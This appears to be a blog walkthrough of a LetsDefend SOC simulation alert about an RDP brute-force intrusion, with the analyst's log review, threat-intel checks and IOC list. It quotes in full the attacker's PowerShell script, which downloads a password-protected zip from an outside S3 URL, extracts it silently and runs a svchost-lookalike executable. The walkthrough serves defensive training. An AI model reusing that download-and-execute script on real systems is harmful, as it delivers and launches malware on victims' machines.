LetsDefend

EventID 313 - LetsDefend

Walkthrough for EventID 313 from LetsDefend

nosam213

16 Sep 2025 • 6 min read

"SOC335 - CVE-2024-49138 Exploitation Detected"

Logs

Starting off with the logs; make sure to take note of the time the Alert.

On the 'Log Management' tab, filtering the 'destination_address' to 172.16.17.207 on the left hand side...

Checking these log results we can see these events occurred just two minutes (2025-1-22 14:35) before the SOC alert did (2025-1-22 14:37).

Upon analysis, the first two highlighted logs are hitting the 'destination_address' at port 3389 (RDP), which is likely to be authentication attempts.

# Pulled from the SOC alert.
File-Hash: b432dcf4a0f0b601b1d79848467137a5e25cab5a0b7b1224be9d3b6540122db9

# From the queried logs, this is the 'source_address'.
Source-Address: 185.107.56.141

analyst-notes.txt

Following this are some 'raw_log' events (in this case, Windows events), which show 5 authentication attempts.

Event 4625 (learn): "An account failed to log on"
Event 4624 (learn): "An account was successfully logged on"

From this we can understand that there were four different username authentication attempts, but one succeeded with the name 'Victor'.

Now we know the attacker was able to successfully login to this workstation.

Playbook

Now that we can see there was a successful authentication from outside the internal network, we can now click the button 'Create Case'.

We'll circle back to the 'Threat Indicator' selection later.

Endpoint Security

Starting off with 'Terminal History'..

In correlation with the Logs, one minute after the successful login (4624), we can see the attacker..

Attacker switched to PowerShell (read here for reasons over normal cmd.exe)
Checked user privileges with '/priv', to check for easy Privilege Escalation.
Checked username.
Ran a powershell script, linking to a S3 bucket, probably malware.

# Pulled from the SOC alert.
File-Hash: b432dcf4a0f0b601b1d79848467137a5e25cab5a0b7b1224be9d3b6540122db9

# From the queried logs, this is the 'source_address'.
Source-Address: 185.107.56.141

# Malware URL (Specifically the full URL, companies themselves use amazonaws.com .
URL: https://files-ld.s3.us-east-2.amazonaws.com/service-installer.zip

analyst-notes.txt

Now to look at the long powershell script..

$url = 'https://files-ld.s3.us-east-2.amazonaws.com/service-installer.zip'

$dest = 'C:\temp\service-installer.zip'

$extractPath = 'C:\temp'

$password = 'infected'

if (-not (Test-Path -Path $extractPath)) { New-Item -ItemType Directory -Path $extractPath -Force | Out-Null }

Invoke-WebRequest -Uri $url -OutFile $dest

$7zipPath = 'C:\Program Files\7-Zip\7z.exe'

Start-Process -FilePath $7zipPath -ArgumentList "x -p$password -o$extractPath $dest" -NoNewWindow -Wait -PassThru

Remove-Item -Path $dest

Start-Process -FilePath "$extractPath\service_installer\svohost.exe"

attacker's powershell one-liner

To put these events into English..

Attackers downloaded the 'service-install.zip' to 'C:\temp\service-installer.zip'.
Checked access to 'C:\temp', then used the Start-Process command to quietly decompress the .zip file in the background (flag -NoNewWindow, so user doesn't see anything) with 7zip, with password 'infected' and the .zip file's contents to 'C:\temp'.
Deleted 'C:\temp\service-installer.zip'.
Used Start-Process again to start the malware called 'svohost.exe' (on windows there is a critical real service called 'svchost.exe'; helps create hesitation of IT investigation).

That was a lot of information.

Threat Intelligence

Files / Hashes

Firstly, let's investigate the 'svohost.exe'.

Grabbing the file hash from the 'Endpoint Security' tab under 'Processes', correlating the time to be somewhere after 2025-1-22 14:36.

b432dcf4a0f0b601b1d79848467137a5e25cab5a0b7b1224be9d3b6540122db9

svohost.exe hash

Checking..

Always make sure to check the 'Last Analysis Date'.

From this, pretty obvious this shouldn't be on the workstation.

IP Addresses / URLs

Firstly, we'll check the attacker 'source_address' of '185.107.56.141'.

From this, it can likely be concluded that this IPv4 address isn't a constant threat, rather a VPN IP that had been used, as tagged from LetsDefendTI as 'Brute Force'.

Brute Force Note

Attackers who aren't well funded or don't want to spend money often use VPN IPs as a cheap means to being able to rotate IP addresses to void lockouts and also void detection mechanisms on 'Too many login attempts' triggers.

Essentially, 15 attempts from 1 IP is.. suspicious.

Maybe 3 attempts each from 5 IPs is.. common.

Moving on to the URL we found.

LetsDefendTI doesn't have anything on the URL we found, although it does on the root subdomain.

At this point we are beyond able to enable 'Containment' on the workstation, but for this we'll do the playbook first.

Playbook

As we cannot see from the 'Endpoint Security' tab about Registry manipulation events, we can check Hybrid Analysis.

Now for the playbook.

"Unknown or unexpected services and applications configured to launch automatically on system boot"

As we could see from the 'Processes' tab, 'svohost.exe' was still running.

"Not Quarantined"

From our 'Threat Intelligence' section, we can positively place this as "Malicious".

This part is difficult based on the available logs and endpoint logs but in this case it would be marked as "Accessed" as this workstation reached out to the URL we found at the AWS S3 bucket.

Note

As LetsDefend is a limited SOC simulation, there is a lack of additional information to go off of. There are more indicators in a real world environment that would assist in deriving weather or not a C2 was accessed.

DNS: There would likely be a record of DNS resolutions from this windows workstation, allowing us to see what, after 2025-1-22 14:37, was accessed. This would be useful for seeing if (likely) the C2 was accessed by domain (allowing blocking / reporting after).

Network: As this is a malware, it should be reporting back to a C2. Weather this is by HTTP/S, TCP, UDP, damn morse code ICMP packets, etc.. Also maybe just a Dropbox linked file.

And more..

All in all, C2 was accessed as the URL is a S3 bucket for files related to the malware and malware authors/group.

Now we can navigate to the workstation we were looking at and enable Containment.

Artifacts

Now is the wrap-up for the IOCs for this alert.

(Hash) b432dcf4a0f0b601b1d79848467137a5e25cab5a0b7b1224be9d3b6540122db9
(IP Address) 185.107.56.141
(URL) https://files-ld.s3.us-east-2.amazonaws.com/service-installer.zip

Personal addition

(URL) https://files-ld.s3.us-east-2.amazonaws.com/

AWS S3 Note

AWS customer's create 'buckets', or publicly accessible, per-say, folders/repositories.

Now as it's thought, malware authors can easily create an AWS account and therefore buckets to host malware from them. But often in these current years, adversaries are breaching AWS customers and afterwards, abusing resources and hiding malware in their buckets.

This means you need to be very careful about blocking S3 bucket / bucket domains if the company you're defending relies on AWS/S3.

Finally for the analysis note, try to word it yourself, but here was mine.

Adversary successfully brute-forced authentication of '172.16.17.207'
through RDP/3389 from IPv4 address '185.107.56.141'.

After, they dropped into PowerShell and executed a payload from the
'URL' artifact (S3 bucket's file) which exploited CVE-2024-49138, thus
launching the persistent executable svohost.exe, identified by the
'Hash' artifact.

Host has been quarantined; artifacts catalogued.

Analyst Note

Conclusion

Not all analysts go back and forth between checking the playbook's instructions and investigating, hence why we did it at the 'end', or the review of events.

That's all (: